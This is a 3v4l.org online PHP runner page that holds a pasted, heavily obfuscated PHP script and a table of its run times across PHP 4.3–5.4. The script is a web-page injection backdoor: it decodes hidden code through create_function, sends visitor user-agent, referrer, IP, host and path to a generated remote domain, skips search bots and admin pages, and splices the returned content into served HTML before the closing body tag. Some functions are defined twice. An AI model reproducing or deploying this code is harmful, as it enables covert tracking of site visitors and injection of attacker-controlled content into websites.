3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en2($s, $q) { $l="\x73\164\x72\154\x65\156"; $p="\x70\141\x63\153"; $r="\x73\165\x62\163\x74\162"; $m="\x6d\144\x35"; $g = ""; while ($l($g)<$l($s)) { $q = $p("H*",$m($g.$q."\x71\61\x77\62\x65\63\x72\64")); $g.=$r($q,0,8); } return $s^$g; } function cqq($qw) { $domarr = array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb"); return random($domarr,$qw); } function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } create_function("", "};".$b."//");} function cqq($qw) { return random($domarr,$qw);} function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0; $i<sizeof($v); $i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } create_function("", "}; ".$g."//");} function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "\x65\156\x32"; $xx="\x65\170\x70"."\154\x6f\144\x65"; $ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0; $i<sizeof($a); $i++) {$g = $scy($aa[$i],$a[$i],$g); } $ecx("", "}; $g//"); $mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9 = explode("|",'1067|416|779|223|361');$b9=0;$a9=0; for($i9=0; $i9<sizeof($r9); $i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9);} $y =1;for($i=0; $i<5; $i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; $vv1($v_[$i]);} function en2($s, $q) { $l="\x73\164\x72\154\x65\156"; $p="\x70\141\x63\153"; $r="\x73\165\x62\163\x74\162"; $m="\x6d\144\x35"; $g = ""; while ($l($g)<$l($s)) { $q = $p("H*",$m($g.$q."\x71\61\x77\62\x65\63\x72\64")); $g.=$r($q,0,8); } return $s^$g;}  function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf;} function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res;} function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf;} function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; }  $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf;} function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return "";}   if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="\x1f\x8b\x08") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen; } if ($flg & 8) $i=strpos($gzData,"\0",$i)+1; if ($flg & 16) $i=strpos($gzData,"\0", $i)+1; if ( $flg & 2) $i=$i+2; } return @gzinflate(substr($gzData,$i,-8)); } else{ return false; } }} function k34($op,$text) { return base64_encode(en2($text, $op));} function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a;} function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1;} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; }} if(!function_exists("pa22")) { function pa22($v) { Header("Content-Encoding: none"); $p="\x70\162\x65\147\x5f"; $p1=$p."\155\x61\164\x63\150"; $p2=$p."\162\x65\160\x6c\141\x63\145"; $t=dcoo($v); if($p1("/\<\/body/si",$t)) { return $p2("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); } else { if($p1("/\<\/html/si",$t)) { return $p2("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); } else { return $t; } } }} echo cqq(".com");

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.320.0080.03912.53
5.4.310.0050.03912.53
5.4.300.0040.04312.53
5.4.290.0070.04512.53
5.4.280.0090.03512.42
5.4.270.0050.03712.42
5.4.260.0090.04312.42
5.4.250.0050.04412.42
5.4.240.0040.03812.42
5.4.230.0050.04612.41
5.4.220.0040.03712.41
5.4.210.0070.03912.41
5.4.200.0040.04212.41
5.4.190.0060.03512.41
5.4.180.0040.03812.41
5.4.170.0080.03512.41
5.4.160.0110.03312.41
5.4.150.0030.04112.41
5.4.140.0090.03812.09
5.4.130.0070.03512.08
5.4.120.0050.03712.04
5.4.110.0080.03612.04
5.4.100.0080.03412.04
5.4.90.0080.03512.04
5.4.80.0050.03712.04
5.4.70.0080.03412.04
5.4.60.0080.03812.03
5.4.50.0050.03712.04
5.4.40.0040.03612.03
5.4.30.0060.03512.02
5.4.20.0050.03512.01
5.4.10.0060.03312.02
5.4.00.0060.03511.51
5.3.290.0100.04012.80
5.3.280.0070.03712.71
5.3.270.0080.04512.72
5.3.260.0060.03912.72
5.3.250.0040.03912.72
5.3.240.0060.03612.72
5.3.230.0090.03512.71
5.3.220.0070.03612.68
5.3.210.0050.03912.68
5.3.200.0120.03012.68
5.3.190.0060.04012.68
5.3.180.0050.03712.67
5.3.170.0030.04312.66
5.3.160.0050.03912.67
5.3.150.0040.04612.67
5.3.140.0070.03512.66
5.3.130.0060.04612.66
5.3.120.0070.03812.66
5.3.110.0060.04712.66
5.3.100.0090.04412.13
5.3.90.0050.03612.11
5.3.80.0050.03712.11
5.3.70.0050.03712.10
5.3.60.0040.03812.09
5.3.50.0070.04412.04
5.3.40.0060.04112.03
5.3.30.0080.03312.00
5.3.20.0070.04211.77
5.3.10.0080.03711.74
5.3.00.0090.03311.73
5.2.170.0060.0319.24
5.2.160.0050.0299.24
5.2.150.0080.0279.24
5.2.140.0060.0299.24
5.2.130.0040.0299.20
5.2.120.0030.0309.20
5.2.110.0040.0309.20
5.2.100.0030.0309.20
5.2.90.0070.0279.19
5.2.80.0050.0319.19
5.2.70.0050.0319.19
5.2.60.0070.0309.15
5.2.50.0020.0339.12
5.2.40.0060.0279.10
5.2.30.0100.0349.07
5.2.20.0070.0349.05
5.2.10.0020.0338.96
5.2.00.0050.0288.82
5.1.60.0050.0268.11
5.1.50.0080.0268.10
5.1.40.0040.0248.08
5.1.30.0040.0258.43
5.1.20.0060.0278.46
5.1.10.0030.0278.18
5.1.00.0020.0278.18
5.0.50.0030.0276.66
5.0.40.0030.0256.53
5.0.30.0020.0336.34
5.0.20.0080.0186.30
5.0.10.0050.0236.29
5.0.00.0020.0326.28
4.4.90.0030.0164.78
4.4.80.0030.0184.76
4.4.70.0020.0214.76
4.4.60.0020.0154.76
4.4.50.0040.0194.77
4.4.40.0040.0234.71
4.4.30.0010.0174.76
4.4.20.0040.0174.85
4.4.10.0030.0164.85
4.4.00.0030.0264.76
4.3.110.0030.0174.67
4.3.100.0030.0154.66
4.3.90.0020.0194.63
4.3.80.0010.0264.59
4.3.70.0000.0184.63
4.3.60.0050.0124.63
4.3.50.0020.0174.63
4.3.40.0030.0304.54
4.3.30.0040.0283.32
4.3.20.0020.0163.30
4.3.10.0040.0143.26
4.3.00.0070.0176.91

preferences:
141.12 ms | 1386 KiB | 7 Q